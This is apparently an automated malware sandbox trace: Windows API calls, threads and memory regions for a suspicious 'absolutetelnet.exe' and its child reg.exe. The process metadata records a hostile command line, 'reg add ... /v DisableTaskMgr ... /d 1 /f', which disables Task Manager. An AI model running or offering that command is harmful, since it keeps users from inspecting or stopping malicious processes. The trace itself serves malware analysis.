Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::Release () returned 0x3 [0285.411] WindowsDeleteString () returned 0x0 [0285.411] Release () returned 0x2 [0285.411] CoGetContextToken (in: pToken=0x14d5c0 | out: pToken=0x14d5c0) returned 0x0 [0285.411] CoGetContextToken (in: pToken=0x14d4c0 | out: pToken=0x14d4c0) returned 0x0 [0285.411] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x0 [0285.411] AddRef () returned 0x4 [0285.412] Release () returned 0x3 [0285.422] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::add_TracingStatusChanged () returned 0x0 [0285.592] GenericStreamBase::Write () returned 0x0 [0285.592] GenericStreamBase::Write () returned 0x0 [0285.593] CoCreateGuid (in: pguid=0x7ffb02b4e6a0 | out: pguid=0x7ffb02b4e6a0*(Data1=0x67c0c0b2, Data2=0x35c2, Data3=0x4943, Data4=([0]=0x8d, [1]=0xeb, [2]=0xe8, [3]=0x7c, [4]=0xdd, [5]=0x53, [6]=0x13, [7]=0x96))) returned 0x0 [0285.593] GenericStreamBase::Write () returned 0x0 [0285.595] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::QueryInterface () returned 0x0 [0285.596] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::AddRef () returned 0x3 [0285.596] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::QueryInterface () returned 0x80004002 [0285.596] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::QueryInterface () returned 0x0 [0285.596] Release () returned 0x3 [0285.596] CoGetContextToken (in: pToken=0x14c700 | out: pToken=0x14c700) returned 0x0 [0285.596] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::QueryInterface () returned 0x80004002 [0285.598] WindowsCreateString () returned 0x0 [0285.598] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::AddRef () returned 0x4 [0285.598] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::Release () returned 0x3 [0285.598] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::get_Enabled () returned 0x0 [0285.878] EtwEventRegister () returned 0x0 [0285.880] EtwEventSetInformation () returned 0x0 [0285.882] EtwEventRegister () returned 0x0 [0285.882] EtwEventSetInformation () returned 0x0 [0286.044] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x528300*=0x174, lpdwindex=0x14e294 | out: lpdwindex=0x14e294) returned 0x0 [0286.260] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x595650*=0x2c8, lpdwindex=0x14df84 | out: lpdwindex=0x14df84) returned 0x0 [0286.453] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x528300*=0x174, lpdwindex=0x14e294 | out: lpdwindex=0x14e294) returned 0x0 [0300.047] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5956a0*=0x2c4, lpdwindex=0x14df84 | out: lpdwindex=0x14df84) returned 0x0 [0300.162] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x528300*=0x174, lpdwindex=0x14e294 | out: lpdwindex=0x14e294) returned 0x0 [0300.197] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x5956f0*=0x2f0, lpdwindex=0x14df84 | out: lpdwindex=0x14df84) returned 0x0 [0300.673] CoWaitForMultipleHandles (dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x528300*=0x174, lpdwindex=0x14e294) Thread: id = 192 os_tid = 0xc64 Thread: id = 248 os_tid = 0xc40 Thread: id = 262 os_tid = 0x13ac [0249.702] CoGetContextToken (in: pToken=0x1a85f9d0 | out: pToken=0x1a85f9d0) returned 0x800401f0 [0249.703] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0249.703] RoInitialize () returned 0x1 [0249.703] RoUninitialize () returned 0x0 Thread: id = 281 os_tid = 0xb7c Thread: id = 282 os_tid = 0xd8c Thread: id = 292 os_tid = 0xdb0 Thread: id = 295 os_tid = 0xbec Thread: id = 296 os_tid = 0x310 [0286.007] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0286.009] CoGetContextToken (in: pToken=0x1b1dfc20 | out: pToken=0x1b1dfc20) returned 0x0 [0286.009] CObjectContext::QueryInterface () returned 0x0 [0286.009] CObjectContext::GetCurrentThreadType () returned 0x0 [0286.009] Release () returned 0x0 [0286.010] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0286.010] CoUninitialize () [0286.010] RoInitialize () returned 0x1 [0286.010] RoUninitialize () returned 0x0 [0287.641] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b1dc138 | out: phkResult=0x1b1dc138*=0x0) returned 0x2 [0287.645] GetFullPathNameW (in: lpFileName="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", nBufferLength=0x105, lpBuffer=0x1b1deb70, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\Resources\\en-US\\absolutetelnet.exe", lpFilePart=0x0) returned 0x2a Thread: id = 297 os_tid = 0x820 Thread: id = 301 os_tid = 0x6d8 [0288.119] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0288.120] CoGetContextToken (in: pToken=0x7df6a0 | out: pToken=0x7df6a0) returned 0x0 [0288.120] CObjectContext::QueryInterface () returned 0x0 [0288.120] CObjectContext::GetCurrentThreadType () returned 0x0 [0288.120] Release () returned 0x0 [0288.120] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0288.120] CoUninitialize () [0288.120] RoInitialize () returned 0x1 [0288.120] RoUninitialize () returned 0x0 Thread: id = 304 os_tid = 0xda8 Process: id = "20" image_name = "reg.exe" filename = "c:\\windows\\syswow64\\reg.exe" page_root = "0x4c0f3000" os_pid = "0x860" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "4" os_parent_pid = "0x87c" cmd_line = "reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableTaskMgr /t REG_DWORD /d 1 /f" cur_dir = "C:\\portSession\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f443" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3496 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3497 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3498 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 3499 start_va = 0x90000 end_va = 0xcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 3500 start_va = 0xd0000 end_va = 0xd3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 3501 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3502 start_va = 0xf0000 end_va = 0xf1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 3503 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 3504 start_va = 0xa40000 end_va = 0xa41fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a40000" filename = "" Region: id = 3505 start_va = 0xff0000 end_va = 0x1042fff monitored = 1 entry_point = 0xffc820 region_type = mapped_file name = "reg.exe" filename = "\\Windows\\SysWOW64\\reg.exe" (normalized: "c:\\windows\\syswow64\\reg.exe") Region: id = 3506 start_va = 0x1050000 end_va = 0x504ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001050000" filename = "" Region: id = 3507 start_va = 0x77650000 end_va = 0x777cafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 3508 start_va = 0x7ef70000 end_va = 0x7ef92fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ef70000" filename = "" Region: id = 3509 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3510 start_va = 0x7fff0000 end_va = 0x7dfb201affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 3511 start_va = 0x7dfb201b0000 end_va = 0x7ffb201affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007dfb201b0000" filename = "" Region: id = 3512 start_va = 0x7ffb201b0000 end_va = 0x7ffb20370fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3513 start_va = 0x7ffb20371000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffb20371000" filename = "" Region: id = 3514 start_va = 0x400000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 3515 start_va = 0x533d0000 end_va = 0x5341ffff monitored = 0 entry_point = 0x533e8180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 3516 start_va = 0x53420000 end_va = 0x53499fff monitored = 0 entry_point = 0x53433290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 3517 start_va = 0x75820000 end_va = 0x758fffff monitored = 0 entry_point = 0x75833980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3518 start_va = 0x534a0000 end_va = 0x534a7fff monitored = 0 entry_point = 0x534a17c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 3519 start_va = 0xa50000 end_va = 0xd3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a50000" filename = "" Region: id = 3520 start_va = 0x75820000 end_va = 0x758fffff monitored = 0 entry_point = 0x75833980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3521 start_va = 0x75c80000 end_va = 0x75dfdfff monitored = 0 entry_point = 0x75d31b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3522 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3523 start_va = 0x7ee70000 end_va = 0x7ef6ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ee70000" filename = "" Region: id = 3524 start_va = 0x100000 end_va = 0x1bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3525 start_va = 0x754e0000 end_va = 0x7559dfff monitored = 0 entry_point = 0x75515630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3526 start_va = 0x1c0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 3527 start_va = 0x400000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 3528 start_va = 0x5f0000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 3529 start_va = 0x77260000 end_va = 0x772dafff monitored = 0 entry_point = 0x7727e970 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 3530 start_va = 0x757d0000 end_va = 0x75813fff monitored = 0 entry_point = 0x757e9d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3531 start_va = 0x75900000 end_va = 0x759acfff monitored = 0 entry_point = 0x75914f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3532 start_va = 0x74380000 end_va = 0x7439dfff monitored = 0 entry_point = 0x7438b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 3533 start_va = 0xa40000 end_va = 0xa43fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a40000" filename = "" Region: id = 3534 start_va = 0x74370000 end_va = 0x74379fff monitored = 0 entry_point = 0x74372a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 3535 start_va = 0x755b0000 end_va = 0x75607fff monitored = 0 entry_point = 0x755f25c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 3536 start_va = 0x77200000 end_va = 0x7725efff monitored = 0 entry_point = 0x77204af0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 3537 start_va = 0xa50000 end_va = 0xb0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a50000" filename = "" Region: id = 3538 start_va = 0xc40000 end_va = 0xd3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c40000" filename = "" Region: id = 3539 start_va = 0x5050000 end_va = 0x5386fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3540 start_va = 0xb10000 end_va = 0xbeffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Thread: id = 175 os_tid = 0x238 [0143.812] GetModuleHandleA (lpModuleName=0x0) returned 0xff0000 [0143.812] __set_app_type (_Type=0x1) [0143.812] __p__fmode () returned 0x75594d6c [0143.812] __p__commode () returned 0x75595b1c [0143.812] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffca50) returned 0x0 [0143.813] __wgetmainargs (in: _Argc=0xffe028, _Argv=0xffe02c, _Env=0xffe030, _DoWildCard=0, _StartInfo=0xffe03c | out: _Argc=0xffe028, _Argv=0xffe02c, _Env=0xffe030) returned 0 [0143.813] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="add", cchCount1=-1, lpString2="QUERY", cchCount2=-1) returned 1 [0143.815] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="add", cchCount1=-1, lpString2="ADD", cchCount2=-1) returned 2 [0143.816] RegOpenKeyW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", phkResult=0xcfc34 | out: phkResult=0xcfc34*=0x0) returned 0x2 [0143.816] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="add", cchCount1=-1, lpString2="ADD", cchCount2=-1) returned 2 [0143.816] lstrlenW (lpString="-?|/?|-h|/h") returned 11 [0143.816] GetProcessHeap () returned 0xc40000 [0143.816] RtlAllocateHeap (HeapHandle=0xc40000, Flags=0xc, Size=0x10) returned 0xc47a18 [0143.817] lstrlenW (lpString="") returned 0 [0143.817] GetProcessHeap () returned 0xc40000 [0143.817] RtlAllocateHeap (HeapHandle=0xc40000, Flags=0xc, Size=0x2) returned 0xc40580 [0143.817] GetProcessHeap () returned 0xc40000 [0143.817] RtlAllocateHeap (HeapHandle=0xc40000, Flags=0xc, Size=0x14) returned 0xc44418 [0143.817] GetProcessHeap () returned 0xc40000 [0143.817] RtlAllocateHeap (HeapHandle=0xc40000, Flags=0xc, Size=0x10) returned 0xc47a30 [0143.817] GetProcessHeap () returned 0xc40000 [0143.817] RtlAllocateHeap (HeapHandle=0xc40000, Flags=0xc, Size=0x14) returned 0xc43f88 [0143.817] GetProcessHeap () returned 0xc40000 [0143.817] RtlAllocateHeap (HeapHandle=0xc40000, Flags=0xc, Size=0x14) returned 0xc47708 [0143.817] GetProcessHeap () returned 0xc40000 [0143.817] RtlAllocateHeap (HeapHandle=0xc40000, Flags=0xc, Size=0x14) returned 0xc47728 [0143.817] GetProcessHeap () returned 0xc40000 [0143.817] RtlAllocateHeap (HeapHandle=0xc40000, Flags=0xc, Size=0x14) returned 0xc47748 [0143.817] GetProcessHeap () returned 0xc40000 [0143.817] RtlAllocateHeap (HeapHandle=0xc40000, Flags=0xc, Size=0x10) returned 0xc47b68 [0143.817] GetProcessHeap () returned 0xc40000 [0143.817] RtlAllocateHeap (HeapHandle=0xc40000, Flags=0xc, Size=0x14) returned 0xc44498 [0143.817] GetProcessHeap () returned 0xc40000 [0143.817] RtlAllocateHeap (HeapHandle=0xc40000, Flags=0xc, Size=0x14) returned 0xc444b8 [0143.817] GetProcessHeap () returned 0xc40000 [0143.817] RtlAllocateHeap (HeapHandle=0xc40000, Flags=0xc, Size=0x14) returned 0xc444d8 [0143.817] GetProcessHeap () returned 0xc40000 [0143.817] RtlAllocateHeap (HeapHandle=0xc40000, Flags=0xc, Size=0x14) returned 0xc43b80 [0143.817] GetProcessHeap () returned 0xc40000 [0143.817] RtlAllocateHeap (HeapHandle=0xc40000, Flags=0xc, Size=0x10) returned 0xc47a00 [0143.817] GetProcessHeap () returned 0xc40000 [0143.817] RtlAllocateHeap (HeapHandle=0xc40000, Flags=0xc, Size=0x14) returned 0xc43ba0 [0143.818] GetProcessHeap () returned 0xc40000 [0143.818] RtlAllocateHeap (HeapHandle=0xc40000, Flags=0xc, Size=0x14) returned 0xc43bc0 [0143.818] GetProcessHeap () returned 0xc40000 [0143.818] RtlAllocateHeap (HeapHandle=0xc40000, Flags=0xc, Size=0x14) returned 0xc47788 [0143.818] GetProcessHeap () returned 0xc40000 [0143.818] RtlAllocateHeap (HeapHandle=0xc40000, Flags=0xc, Size=0x14) returned 0xc477a8 [0143.818] SetThreadUILanguage (LangId=0x0) returned 0x409 [0143.825] GetProcessHeap () returned 0xc40000 [0143.825] RtlAllocateHeap (HeapHandle=0xc40000, Flags=0xc, Size=0x10) returned 0xc47a48 [0143.825] _memicmp (_Buf1=0xc47a48, _Buf2=0xff1b04, _Size=0x7) returned 0 [0143.825] GetProcessHeap () returned 0xc40000 [0143.825] RtlAllocateHeap (HeapHandle=0xc40000, Flags=0xc, Size=0x1e) returned 0xc42a08 [0143.825] lstrlenW (lpString="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 62 [0143.825] GetProcessHeap () returned 0xc40000 [0143.825] RtlAllocateHeap (HeapHandle=0xc40000, Flags=0xc, Size=0x10) returned 0xc47b98 [0143.825] _memicmp (_Buf1=0xc47b98, _Buf2=0xff1b04, _Size=0x7) returned 0 [0143.825] GetProcessHeap () returned 0xc40000 [0143.825] RtlAllocateHeap (HeapHandle=0xc40000, Flags=0xc, Size=0x84) returned 0xc44268 [0143.825] _vsnwprintf (in: _Buffer=0xc42a08, _BufferCount=0xe, _Format="|%s|", _ArgList=0xcfb48 | out: _Buffer="|-?|/?|-h|/h|") returned 13 [0143.826] _vsnwprintf (in: _Buffer=0xc44268, _BufferCount=0x41, _Format="|%s|", _ArgList=0xcfb48 | out: _Buffer="|HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System|") returned 64 [0143.826] lstrlenW (lpString="|-?|/?|-h|/h|") returned 13 [0143.826] lstrlenW (lpString="|HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System|") returned 64 [0143.826] RtlRestoreLastWin32Error () returned 0x490 [0143.826] lstrlenW (lpString="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 62 [0143.826] GetProcessHeap () returned 0xc40000 [0143.826] RtlAllocateHeap (HeapHandle=0xc40000, Flags=0xc, Size=0x7e) returned 0xc43948 [0143.826] lstrlenW (lpString="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 62 [0143.826] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0143.826] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0143.826] StrChrW (lpStart=" \x09", wMatch=0x4b) returned 0x0 [0143.826] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0143.826] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0143.826] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0143.826] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0143.826] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0143.826] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0143.826] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0143.826] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0143.826] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0143.826] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0143.826] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0143.826] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0143.826] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0143.826] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0143.826] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0143.826] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0143.826] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0143.826] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0143.826] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0143.826] StrChrW (lpStart=" \x09", wMatch=0x66) returned 0x0 [0143.826] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0143.826] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0143.827] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0 [0143.827] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0143.827] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0143.827] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0143.827] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0143.827] StrChrW (lpStart=" \x09", wMatch=0x77) returned 0x0 [0143.827] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0143.827] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0143.827] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0143.827] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0143.827] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0143.827] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0143.827] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0143.827] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0143.827] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0143.827] StrChrW (lpStart=" \x09", wMatch=0x56) returned 0x0 [0143.827] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0143.827] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0143.827] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0143.827] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0143.827] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0143.827] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0143.827] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0143.827] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0143.827] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0143.827] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0143.827] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0143.827] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0143.827] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0143.827] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0143.827] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0143.827] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0143.827] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0143.828] StrChrW (lpStart=" \x09", wMatch=0x79) returned 0x0 [0143.828] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0143.828] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0143.828] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0143.828] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0143.828] lstrlenW (lpString="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 62 [0143.828] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", cchCount1=2, lpString2="\\\\", cchCount2=2) returned 3 [0143.828] lstrlenW (lpString="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 62 [0143.828] lstrlenW (lpString="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 62 [0143.828] StrChrIW (lpStart="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", wMatch=0x5c) returned="\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System" [0143.828] lstrlenW (lpString="HKEY_CURRENT_CONFIG") returned 19 [0143.829] GetProcessHeap () returned 0xc40000 [0143.829] RtlAllocateHeap (HeapHandle=0xc40000, Flags=0xc, Size=0x28) returned 0xc44340 [0143.829] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="HKCU", cchCount1=-1, lpString2="HKCU", cchCount2=-1) returned 2 [0143.829] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 57 [0143.829] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 57 [0143.829] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 57 [0143.829] StrChrIW (lpStart="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", wMatch=0x5c) returned="\\Microsoft\\Windows\\CurrentVersion\\Policies\\System" [0143.829] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 57 [0143.829] StrChrIW (lpStart="Microsoft\\Windows\\CurrentVersion\\Policies\\System", wMatch=0x5c) returned="\\Windows\\CurrentVersion\\Policies\\System" [0143.829] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 57 [0143.829] StrChrIW (lpStart="Windows\\CurrentVersion\\Policies\\System", wMatch=0x5c) returned="\\CurrentVersion\\Policies\\System" [0143.829] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 57 [0143.829] StrChrIW (lpStart="CurrentVersion\\Policies\\System", wMatch=0x5c) returned="\\Policies\\System" [0143.829] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 57 [0143.829] StrChrIW (lpStart="Policies\\System", wMatch=0x5c) returned="\\System" [0143.829] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 57 [0143.829] StrChrIW (lpStart="System", wMatch=0x5c) returned 